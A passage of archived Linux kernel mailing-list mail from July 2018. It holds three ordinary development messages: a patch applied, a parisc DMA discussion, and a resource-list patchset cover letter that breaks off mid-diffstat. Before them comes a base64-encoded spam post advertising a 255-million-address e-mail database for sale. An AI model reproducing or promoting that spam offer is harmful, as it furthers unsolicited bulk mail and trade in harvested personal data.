Approved: news@gmane.org
Message-ID: <6D68DE8D86527F5C8085CC3BBFFF8971@netvigator.com>
Reply-To: Kord <lauravinet-1tsiiZ//OF9QFI55V6+gNQ@public.gmane.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="cp1251"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1531747909 21190 195.159.176.226 (16 Jul 2018 13:31:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Jul 2018 13:31:49 +0000 (UTC)
To: <linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org>,
 <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>, <linux-numa-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <linux-ntb-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>, <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 <public-linux-nfs-u79uwxl29ty76z2rm5mhxa-wOFGN7rlS/M9smdsby/KFg@public.gmane.org>,
 <linux-nfc-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>, <linux-mac68k-/52nH5gJgTCRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
 <linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-m68k-digest-OTeZEUNBIkde4xh82S9ftw@public.gmane.org>,
 <linux-lvm-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, <linux-leds-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon Jul 16 15:31:44 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ff3bL-0005IU-OL
	for gln-linux-nvdimm@m.gmane.org; Mon, 16 Jul 2018 15:31:44 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 0B2C920986AD3;
	Mon, 16 Jul 2018 06:33:51 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=219.76.95.119; helo=wobosm03.netvigator.com;
 envelope-from=rpkw5735-RuTGJwh49Ls+Va1GwOuvDg@public.gmane.org; receiver=linux-nfc-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from wobosm03.netvigator.com (wobosm03.netvigator.com
 [219.76.95.119])
 by ml01.01.org (Postfix) with ESMTP id B3A1720968909;
 Mon, 16 Jul 2018 06:33:45 -0700 (PDT)
Original-Received: from wironout1b.netvigator.com (wironout1b.netvigator.com
 [219.76.94.32])
 by wobosm03.netvigator.com (8.14.5/8.14.5) with ESMTP id w6GDXhaI000372;
 Mon, 16 Jul 2018 21:33:44 +0800
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: =?us-ascii?q?A0Cx+AC9nUxb/y5eTNsBFwKCVYkKlT6aT?=
 =?us-ascii?q?AaEJQJvBQQCgQcOmRgTtA+DdA?=
X-IPAS-Result: A0Cx+AC9nUxb/y5eTNsBFwKCVYkKlT6aTAaEJQJvBQQCgQcOmRgTtA+DdA
X-IronPort-AV: E=Sophos;i="5.51,361,1526313600"; 
 d="scan'208,217";a="192059037"
Original-Received: from wironoah01.netvigator.com ([219.76.94.46])
 by wironout1.netvigator.com with ESMTP; 16 Jul 2018 21:33:43 +0800
Original-Received: from unknown (HELO 5.101.65.69) ([175.45.35.182])
 by wironoah01.netvigator.com with ESMTP; 16 Jul 2018 21:33:34 +0800
X-Content-Filtered-By: Mailman/MimeDel 2.1.27
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10967 gmane.linux.kernel.pci:73968 gmane.linux.ports.parisc:28786 gmane.linux.ports.arm.omap:150056 gmane.linux.kernel.numa:987 gmane.linux.nfs:87640 gmane.linux.ports.m68k:10179 gmane.linux.lvm.general:16737 gmane.linux.leds:8602
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10967>

T25seSBmb3IgeW91IGxpbnV4LXBjaUB2Z2VyLmtlcm5lbC5vcmdbbmhtbmhdIApBbmQgb25seSB3
ZSBoYXZlIG9ubHkgYSBmZXcgZGF5cyFbbXF4cHR4aGVdIApBIHVuaXF1ZSBiYXNlIG9mIGJ1c2lu
ZXNzbWVuIGZyb20gMTcwIGNvdW50cmllcyBvZiB0aGUgd29ybGRbZXpqaHNyY2ddIAphdCBhIHN5
bWJvbGljIHByaWNlIG9mIG9ubHkgJDUwMCArIGJhcmdhaW5pbmcuW3N0a2FwcW9dIApUaGUgZGF0
YWJhc2UgY29udGFpbnMgMjU1IG1pbGxpb24gZS1tYWlsIGFkZHJlc3Nlcy5beXp1ZmR5XQpXcml0
ZSB0byB1cy4gV2UgYWdyZWUuIGFuZHJleTEwMDA3N0BnbWFpbC5jb20gW254cm9rXSAKV2l0aCBy
ZXNwZWN0IHRvIHlvdS5bbHNpaHR5XSAKQnVzaW5lc3MgZ3JvdXBzLiBbeXRwaGd2XSAKW3JxaWZ1
d2FvXSAKW3hrbGJqXSAK0u7r/OruIOTr/yDC4PEgbGludXgtcGNpQHZnZXIua2VybmVsLm9yZyBb
ZGZrcWddIArIIPLu6/zq7iDzIO3g8SDoIPLu6/zq7iDt5fHq7uv86u4g5O3l6SFbZnlwZGNwXSAK
0+3o6uDr/O3g/yDh4OfgIOHo5+3l8ezl7e7iIPHuIDE3MCDx8vDg7SDM6PDgW25uaWV2c25dIArv
7iDx6Ozi7uvo9+Xx6u7pIPbl7eUg4vHl4+4g5+AgJDUwMCArIPLu8OMuW2RvcnFpXSAKweDn4CDx
7uTl8Obo8iAyNTXs6Ovr6O7t7uIgZS1tYWlsIODk8OXx7uIuW3NvY25qXQrP6Pjo8uUg7eDsLiDE
7uPu4u7w6Ozx/y4gYW5kcmV5MTAwMDc3QGdtYWlsLmNvbVtmeHpncm1dIArRIPPi4Obl7ejl7CDq
IMLg7C5bYWltYmF3bF0gCsHo5+3l8SDj8PPv7y5bZm5yeGFwc10gIApfX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpMaW51eC1udmRpbW0gbWFpbGluZyBsaXN0
CkxpbnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6Ly9saXN0cy4wMS5vcmcvbWFpbG1hbi9s
aXN0aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] liquidio: Use %pad printk format for dma_addr_t values
Date: Mon, 16 Jul 2018 13:37:49 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <20180716.133749.971124184265899837.davem@davemloft.net>
References: <20180712203629.GA32537@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531773345 14414 195.159.176.226 (16 Jul 2018 20:35:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 16 Jul 2018 20:35:45 +0000 (UTC)
Cc: derek.chickles@caviumnetworks.com,
        satananda.burla@caviumnetworks.com,
        felix.manlunas@caviumnetworks.com,
        raghu.vatsavayi@caviumnetworks.com, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: deller@gmx.de
Original-X-From: netdev-owner@vger.kernel.org Mon Jul 16 22:35:40 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ffADc-0001m2-51
	for gl-netdev-2@m.gmane.org; Mon, 16 Jul 2018 22:35:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728524AbeGPVGy (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Mon, 16 Jul 2018 17:06:54 -0400
Original-Received: from shards.monkeyblade.net ([23.128.96.9]:59736 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728075AbeGPVGy (ORCPT
        <rfc822;netdev@vger.kernel.org>); Mon, 16 Jul 2018 17:06:54 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
        (using TLSv1 with cipher AES256-SHA (256/256 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 00E9813EA806D;
        Mon, 16 Jul 2018 13:37:49 -0700 (PDT)
In-Reply-To: <20180712203629.GA32537@ls3530.fritz.box>
X-Mailer: Mew version 6.7 on Emacs 25.3 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 16 Jul 2018 13:37:50 -0700 (PDT)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:544751 gmane.linux.ports.parisc:28787
Archived-At: <http://permalink.gmane.org/gmane.linux.network/544751>

From: Helge Deller <deller@gmx.de>
Date: Thu, 12 Jul 2018 22:36:29 +0200

> Use the existing %pad printk format to print dma_addr_t values.
> This avoids the following warnings when compiling on the parisc platform:
> 
> warning: format '%llx' expects argument of type 'long long unsigned int', but argument 2 has type 'dma_addr_t {aka unsigned int}' [-Wformat=]
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Applied.


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Tue, 17 Jul 2018 15:19:52 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20180717131952.GF13582@lst.de>
References: <20180619070455.26624-1-hch@lst.de> <20180711153445.GC31946@lst.de>
	<e2b653d8-cc04-7a81-89a0-9d286c5cc0ca@gmx.de>
	<e29f9140-0d47-e074-1609-d6ae8f8869b3@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1531833317 19457 195.159.176.226 (17 Jul 2018 13:15:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Jul 2018 13:15:17 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jul 17 15:15:13 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1ffPou-0004wO-OK
	for glki-iommu@m.gmane.org; Tue, 17 Jul 2018 15:15:12 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 04DA4CBB;
	Tue, 17 Jul 2018 13:17:23 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id C7D5CCA8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 17 Jul 2018 13:17:21 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 6ACA5FC
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 17 Jul 2018 13:17:21 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id A0BF77FDC5; Tue, 17 Jul 2018 15:19:52 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <e29f9140-0d47-e074-1609-d6ae8f8869b3-CzeTG9NwML0@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25280 gmane.linux.ports.parisc:28788
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25280>

On Sun, Jul 15, 2018 at 12:29:37PM -0400, John David Anglin wrote:
> On 2018-07-13 4:14 AM, Helge Deller wrote:
>> On 11.07.2018 17:34, Christoph Hellwig wrote:
>>> ping?  Any comments?
>> I applied those 3 patches on top of git head, and booted the
>> 32-bit kernel on a HP 715/64 (PCX-L) and a HP B160L (PCX-L2).
>> On both machines I had problems with those drivers which use
>> DMA (I checked specifically the lasi NIC card, which is the
>> main onboard NIC card in both machines).
>> Getting IP via DHCP was unreliable, pings on the same network
>> to both machines gave lost packets, login via ssh sometimes failed
>> and so on.
>>
>> So, there is definitively some cache-flush missing in this patchset.
> Possibly, the code should use flush_kernel_vmap_range() as it purges the =

> TLB entries used
> for the cache flush.=A0 Some of the routines in pci-dma.c currently use i=
t.

That might be worth a try and is already discussed in my description.

Also it might be good to check that the last patch really is the culprit,
I'm pretty certain it is, but a double check never hurts.

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 0/4] resource: Use list_head to link sibling resource
Date: Wed, 18 Jul 2018 10:49:40 +0800
Lines: 114
Approved: news@gmane.org
Message-ID: <20180718024944.577-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531882088 14647 195.159.176.226 (18 Jul 2018 02:48:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 02:48:08 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org,
 linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 04:48:00 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffcVT-0003bz-JB
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 04:47:59 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 5410920988777;
	Tue, 17 Jul 2018 19:50:10 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id EFA7B2097F544
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 17 Jul 2018 19:50:08 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id AC4757C6CA;
 Wed, 18 Jul 2018 02:50:06 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 0DCDB2026D68;
 Wed, 18 Jul 2018 02:49:47 +0000 (UTC)
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.2]); Wed, 18 Jul 2018 02:50:07 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.2]);
 Wed, 18 Jul 2018 02:50:07 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11029 gmane.linux.kernel:2823304 gmane.linux.drivers.devicetree:279914 gmane.linux.kernel.pci:74053 gmane.linux.kernel.input:62015 gmane.linux.ports.parisc:28789 gmane.linux.ports.ppc64.devel:160135
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11029>

This patchset is doing:
1) Move reparent_resources() to kernel/resource.c to clean up duplicated
   code in arch/microblaze/pci/pci-common.c and
   arch/powerpc/kernel/pci-common.c .
2) Replace struct resource's sibling list from singly linked list to
   list_head. Clearing out those pointer operation within singly linked
   list for better code readability.
2) Based on list_head replacement, add a new function
   walk_system_ram_res_rev() which can does reversed iteration on
   iomem_resource's siblings.
3) Change kexec_file loading to search system RAM top down for kernel
   loadin, using walk_system_ram_res_rev().

Note:
This patchset only passed testing on  x86_64 arch with network
enabling. The thing we need pay attetion to is that a root resource's
child member need be initialized specifically with LIST_HEAD_INIT() if
statically defined or INIT_LIST_HEAD() for dynamically definition. Here
Just like we do for iomem_resource/ioport_resource, or the change in
get_pci_domain_busn_res().

v6:
http://lkml.kernel.org/r/20180704041038.8190-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v5:
http://lkml.kernel.org/r/20180612032831.29747-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v4:
http://lkml.kernel.org/r/20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v3:
http://lkml.kernel.org/r/20180419001848.3041-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v2:
http://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v1:
http://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

Changelog:
v6->v7:
  Fix code bugs that test robot reported on mips and ia64.

  Add error code description in reparent_resources() according to
  Andy's comment, and fix minor log typo.
v5->v6:
  Fix code style problems in reparent_resources() and use existing
  error codes, according to Andy's suggestion.

  Fix bugs test robot reported.

v4->v5:
  Add new patch 0001 to move duplicated reparent_resources() to
  kernel/resource.c to make it be shared by different ARCH-es.

  Fix several code bugs reported by test robot on ARCH powerpc and
  microblaze.
v3->v4:
  Fix several bugs test robot reported. Rewrite cover letter and patch
  log according to reviewer's comment.

v2->v3:
  Rename resource functions first_child() and sibling() to
  resource_first_chils() and resource_sibling(). Dan suggested this.

  Move resource_first_chils() and resource_sibling() to linux/ioport.h
  and make them as inline function. Rob suggested this. Accordingly add
  linux/list.h including in linux/ioport.h, please help review if this
  bring efficiency degradation or code redundancy.

  The change on struct resource {} bring two pointers of size increase,
  mention this in git log to make it more specifically, Rob suggested
  this.

v1->v2:
  Use list_head instead to link resource siblings. This is suggested by
  Andrew.

  Rewrite walk_system_ram_res_rev() after list_head is taken to link
  resouce siblings.

Baoquan He (4):
  resource: Move reparent_resources() to kernel/resource.c and make it
    public
  resource: Use list_head to link sibling resource
  resource: add walk_system_ram_res_rev()
  kexec_file: Load kernel at top of system RAM if required

 arch/arm/plat-samsung/pm-check.c            |   6 +-
 arch/ia64/sn/kernel/io_init.c               |   2 +-
 arch/microblaze/pci/pci-common.c            |  41 +----
 arch/mips/pci/pci-rc32434.c                 |  12 +-
 arch/powerpc/kernel/pci-common.c            |  39 +---
